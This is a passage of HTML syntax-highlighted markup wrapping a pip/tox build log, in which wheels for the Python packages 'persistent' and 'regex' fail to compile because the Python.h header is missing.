class="n"&gt;tests&lt;/span&gt;
  &lt;span class="n"&gt;copying&lt;/span&gt; &lt;span class="n"&gt;persistent&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;tests&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;test_persistence&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;py&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;build&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;lib&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;linux&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;x86_64&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mf"&gt;3.7&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;persistent&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;tests&lt;/span&gt;
  &lt;span class="n"&gt;copying&lt;/span&gt; &lt;span class="n"&gt;persistent&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;tests&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;test_picklecache&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;py&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;build&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;lib&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;linux&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;x86_64&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mf"&gt;3.7&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;persistent&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;tests&lt;/span&gt;
  &lt;span class="n"&gt;copying&lt;/span&gt; &lt;span class="n"&gt;persistent&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;tests&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;test_ring&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;py&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;build&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;lib&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;linux&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;x86_64&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mf"&gt;3.7&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;persistent&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;tests&lt;/span&gt;
  &lt;span class="n"&gt;copying&lt;/span&gt; &lt;span class="n"&gt;persistent&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;tests&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;test_timestamp&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;py&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;build&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;lib&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;linux&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;x86_64&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mf"&gt;3.7&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;persistent&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;tests&lt;/span&gt;
  &lt;span class="n"&gt;copying&lt;/span&gt; &lt;span class="n"&gt;persistent&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;tests&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;test_wref&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;py&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;build&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;lib&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;linux&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;x86_64&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mf"&gt;3.7&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;persistent&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;tests&lt;/span&gt;
  &lt;span class="n"&gt;copying&lt;/span&gt; &lt;span class="n"&gt;persistent&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;tests&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;utils&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;py&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;build&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;lib&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;linux&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;x86_64&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mf"&gt;3.7&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;persistent&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;tests&lt;/span&gt;
  &lt;span class="n"&gt;running&lt;/span&gt; &lt;span class="n"&gt;build_ext&lt;/span&gt;
  &lt;span class="n"&gt;generating&lt;/span&gt; &lt;span class="n"&gt;cffi&lt;/span&gt; &lt;span class="n"&gt;module&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;build/temp.linux-x86_64-3.7/persistent._ring.c&amp;#39;&lt;/span&gt;
  &lt;span class="n"&gt;creating&lt;/span&gt; &lt;span class="n"&gt;build&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;temp&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;linux&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;x86_64&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mf"&gt;3.7&lt;/span&gt;
  &lt;span class="n"&gt;building&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;persistent.cPersistence&amp;#39;&lt;/span&gt; &lt;span class="n"&gt;extension&lt;/span&gt;
  &lt;span class="n"&gt;creating&lt;/span&gt; &lt;span class="n"&gt;build&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;temp&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;linux&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;x86_64&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mf"&gt;3.7&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;persistent&lt;/span&gt;
  &lt;span class="n"&gt;x86_64&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;linux&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;gnu&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;gcc&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;pthread&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;Wno&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;unused&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;result&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;Wsign&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;compare&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;DNDEBUG&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;g&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;fwrapv&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;O2&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;Wall&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;g&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;fstack&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;protector&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;strong&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;Wformat&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;Werror&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nb"&gt;format&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;security&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;g&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;flto&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;fuse&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;linker&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;plugin&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;ffat&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;lto&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;objects&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;g&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;fstack&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;protector&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;strong&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;Wformat&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;Werror&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nb"&gt;format&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;security&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;Wdate&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;time&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;D_FORTIFY_SOURCE&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;fPIC&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;I&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;usr&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;include&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;python3&lt;/span&gt;&lt;span class="mf"&gt;.7&lt;/span&gt;&lt;span class="n"&gt;m&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;I&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;home&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;luc&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;work&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;ciao&lt;/span&gt;&lt;span class="o"&gt;/.&lt;/span&gt;&lt;span class="n"&gt;tox&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;py37&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;include&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;python3&lt;/span&gt;&lt;span class="mf"&gt;.7&lt;/span&gt;&lt;span class="n"&gt;m&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;c&lt;/span&gt; &lt;span class="n"&gt;persistent&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;cPersistence&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;c&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;o&lt;/span&gt; &lt;span class="n"&gt;build&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;temp&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;linux&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;x86_64&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mf"&gt;3.7&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;persistent&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;cPersistence&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;o&lt;/span&gt;
  &lt;span class="n"&gt;In&lt;/span&gt; &lt;span class="n"&gt;file&lt;/span&gt; &lt;span class="n"&gt;included&lt;/span&gt; &lt;span class="kn"&gt;from&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;persistent&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;cPersistence&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;h&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;18&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
                   &lt;span class="kn"&gt;from&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;persistent&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;cPersistence&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;c&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;20&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
  &lt;span class="n"&gt;persistent&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;_compat&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;h&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;18&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;10&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;fatal&lt;/span&gt; &lt;span class="n"&gt;error&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;Python&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;h&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;No&lt;/span&gt; &lt;span class="n"&gt;such&lt;/span&gt; &lt;span class="n"&gt;file&lt;/span&gt; &lt;span class="ow"&gt;or&lt;/span&gt; &lt;span class="n"&gt;directory&lt;/span&gt;
   &lt;span class="c1"&gt;#include &amp;quot;Python.h&amp;quot;&lt;/span&gt;
            &lt;span class="o"&gt;^~~~~~~~~~&lt;/span&gt;
  &lt;span class="n"&gt;compilation&lt;/span&gt; &lt;span class="n"&gt;terminated&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;
  &lt;span class="n"&gt;error&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;command&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;x86_64-linux-gnu-gcc&amp;#39;&lt;/span&gt; &lt;span class="n"&gt;failed&lt;/span&gt; &lt;span class="k"&gt;with&lt;/span&gt; &lt;span class="n"&gt;exit&lt;/span&gt; &lt;span class="n"&gt;status&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;
  &lt;span class="o"&gt;----------------------------------------&lt;/span&gt;
  &lt;span class="n"&gt;ERROR&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;Failed&lt;/span&gt; &lt;span class="n"&gt;building&lt;/span&gt; &lt;span class="n"&gt;wheel&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;persistent&lt;/span&gt;
  &lt;span class="n"&gt;Running&lt;/span&gt; &lt;span class="n"&gt;setup&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;py&lt;/span&gt; &lt;span class="n"&gt;clean&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;persistent&lt;/span&gt;
  &lt;span class="n"&gt;Building&lt;/span&gt; &lt;span class="n"&gt;wheel&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;regex&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;setup&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;py&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt; &lt;span class="n"&gt;started&lt;/span&gt;
  &lt;span class="n"&gt;Building&lt;/span&gt; &lt;span class="n"&gt;wheel&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;regex&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;setup&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;py&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt; &lt;span class="n"&gt;finished&lt;/span&gt; &lt;span class="k"&gt;with&lt;/span&gt; &lt;span class="n"&gt;status&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;error&amp;#39;&lt;/span&gt;
  &lt;span class="n"&gt;ERROR&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;Command&lt;/span&gt; &lt;span class="n"&gt;errored&lt;/span&gt; &lt;span class="n"&gt;out&lt;/span&gt; &lt;span class="k"&gt;with&lt;/span&gt; &lt;span class="n"&gt;exit&lt;/span&gt; &lt;span class="n"&gt;status&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
   &lt;span class="n"&gt;command&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;home&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;luc&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;work&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;ciao&lt;/span&gt;&lt;span class="o"&gt;/.&lt;/span&gt;&lt;span class="n"&gt;tox&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;py37&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="nb"&gt;bin&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;python&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;u&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;c&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;import sys, setuptools, tokenize; sys.argv[0] = &amp;#39;&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&amp;#39;&amp;quot;&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;/tmp/pip-install-xgyu9lk6/regex/setup.py&amp;#39;&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&amp;#39;&amp;quot;&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;; __file__=&amp;#39;&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&amp;#39;&amp;quot;&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;/tmp/pip-install-xgyu9lk6/regex/setup.py&amp;#39;&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&amp;#39;&amp;quot;&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;;f=getattr(tokenize, &amp;#39;&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&amp;#39;&amp;quot;&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;open&amp;#39;&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&amp;#39;&amp;quot;&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;, open)(__file__);code=f.read().replace(&amp;#39;&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&amp;#39;&amp;quot;&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;&lt;/span&gt;&lt;span class="se"&gt;\r\n&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&amp;#39;&amp;quot;&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;, &amp;#39;&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&amp;#39;&amp;quot;&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&amp;#39;&amp;quot;&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;);f.close();exec(compile(code, __file__, &amp;#39;&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&amp;#39;&amp;quot;&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;exec&amp;#39;&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&amp;#39;&amp;quot;&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;))&amp;#39;&lt;/span&gt; &lt;span class="n"&gt;bdist_wheel&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;d&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;tmp&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;pip&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;wheel&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;10&lt;/span&gt;&lt;span class="n"&gt;ho7cbn&lt;/span&gt; &lt;span class="o"&gt;--&lt;/span&gt;&lt;span class="n"&gt;python&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;tag&lt;/span&gt; &lt;span class="n"&gt;cp37&lt;/span&gt;
       &lt;span class="n"&gt;cwd&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;tmp&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;pip&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;install&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;xgyu9lk6&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;regex&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;
  &lt;span class="n"&gt;Complete&lt;/span&gt; &lt;span class="n"&gt;output&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;20&lt;/span&gt; &lt;span class="n"&gt;lines&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
  &lt;span class="n"&gt;running&lt;/span&gt; &lt;span class="n"&gt;bdist_wheel&lt;/span&gt;
  &lt;span class="n"&gt;running&lt;/span&gt; &lt;span class="n"&gt;build&lt;/span&gt;
  &lt;span class="n"&gt;running&lt;/span&gt; &lt;span class="n"&gt;build_py&lt;/span&gt;
  &lt;span class="n"&gt;creating&lt;/span&gt; &lt;span class="n"&gt;build&lt;/span&gt;
  &lt;span class="n"&gt;creating&lt;/span&gt; &lt;span class="n"&gt;build&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;lib&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;linux&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;x86_64&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mf"&gt;3.7&lt;/span&gt;
  &lt;span class="n"&gt;creating&lt;/span&gt; &lt;span class="n"&gt;build&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;lib&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;linux&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;x86_64&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mf"&gt;3.7&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;regex&lt;/span&gt;
  &lt;span class="n"&gt;copying&lt;/span&gt; &lt;span class="n"&gt;regex_3&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="fm"&gt;__init__&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;py&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;build&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;lib&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;linux&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;x86_64&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mf"&gt;3.7&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;regex&lt;/span&gt;
  &lt;span class="n"&gt;copying&lt;/span&gt; &lt;span class="n"&gt;regex_3&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;regex&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;py&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;build&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;lib&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;linux&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;x86_64&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mf"&gt;3.7&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;regex&lt;/span&gt;
